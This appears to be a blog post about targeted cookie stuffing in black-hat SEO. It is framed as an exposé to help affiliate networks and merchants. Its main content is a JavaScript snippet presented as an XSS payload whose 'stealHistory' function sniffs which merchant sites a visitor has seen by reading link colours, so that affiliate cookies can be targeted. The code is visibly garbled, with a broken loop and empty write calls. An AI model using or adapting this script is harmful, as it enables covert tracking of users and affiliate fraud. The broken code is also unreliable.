Targeted Cookie Stuffing – Black Hat SEO Method

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Targeted Cookie Stuffing – Black Hat SEO Method

“No evil shall happen to the just” – Holy Bible.

Hi everyone. I am back with another dose of information to share with you. Since we all know how cruel and unfair this world is offline, we can also imagine just how cruel it is online. Most of us use Internet to search for the next place to dine, or to find a deal on a small digital camera gift for their aunt Stacy. However, there are those that come online for a very different and unique purpose… I am talking about Black Hat SEO boys, crawling around the net, looking for a kid to take the candy away. Who else if not us will protect that kid and his candy?

The art of cookie stuffing became very popular in the 1990s, when it all started with iFrames. Now when you see an iFrame it means one of the two things – either the underage guy has blindly downloaded that amateur and faulty code from some outdated website, or the guy is one of those cookie stuffing dinosaurs who denies the change. The change as we know, is eminent.

I recently talked about Black Hat SEO from Pakistan who brought some new cookie stuffing ideas into the underground scene.

Today we will perform a cookie stuffing surgery. We will dissect this son of a gun and retrieve a piece of its evil body to study. Let’s see how true Black Hat SEO masters perform cookie stuffing. Enough talking, let’s get to the juice of this post.

Many Black Hat SEO enthusiasts out there practicing the art of cookie stuffing strive to increase the conversion rates. The most popular method among these individuals seems to be a script that checks the history in the user’s browser. The idea here is that if a user has visited a certain merchant site, it’s very likely that this user has an account there already and will most likely buy from there soon.

Below is a small and simple javascript that checks browser history:

var agent = navigator.userAgent.toLowerCase();
var is_mozilla = (agent.indexOf("mozilla") != -1);
 
// popular websites. Lookup if user has visited any.
var websites = [
 "http://list.com/",
 "http://of.com/",
 "http://sites.com/",
 "http://you.com/",
 "http://want.com/",
 "http://to.com/",
 "http://check.com/",
 "http://users.com/",
 "http://history.com/",
 "http://for.com/",
];
 
/* prevent multiple XSS loads */
if (! document.getElementById('xss_flag')) {
 
 var d = document.createElement('div');
 d.id = 'xss_flag';
 document.body.appendChild(d);
 
 var d = document.createElement('table');
 d.border = 0;
 d.cellpadding = 5;
 d.cellspacing = 10;
 d.width = '90%';
 d.align = 'center';
 d.id = 'data';
 document.body.appendChild(d);
 
 document.write('');
 for (var i = 0; i <>');
 
 /* launch steal history */
 
if (is_mozilla) {
 stealHistory();
}
 
}
 
function stealHistory() {
 
 // loop through websites and check which ones have been visited
 for (var i = 0; i < websites.length; i++) {
 var link = document.createElement("a");
 link.id = "id" + i;
 link.href = websites[i];
 link.innerHTML = websites[i];
 document.body.appendChild(link);
 var color = document.defaultView.getComputedStyle(link,null).getPropertyValue("color");
 document.body.removeChild(link);
// check for visited
 if (color == "rgb(0, 0, 255)") {
 document.write('' + websites[i] + '');
 } // end visited check
 
 } // end visited website loop
 
} // end stealHistory method

I hope this and other observational posts on this blog will help affiliate networks and merchants out there combat cookie stuffing and Black Hat SEO in general. We will be looking at other Black Hat SEO methods in the next posts. Stay tuned.

Beck @ ProfitSEO.com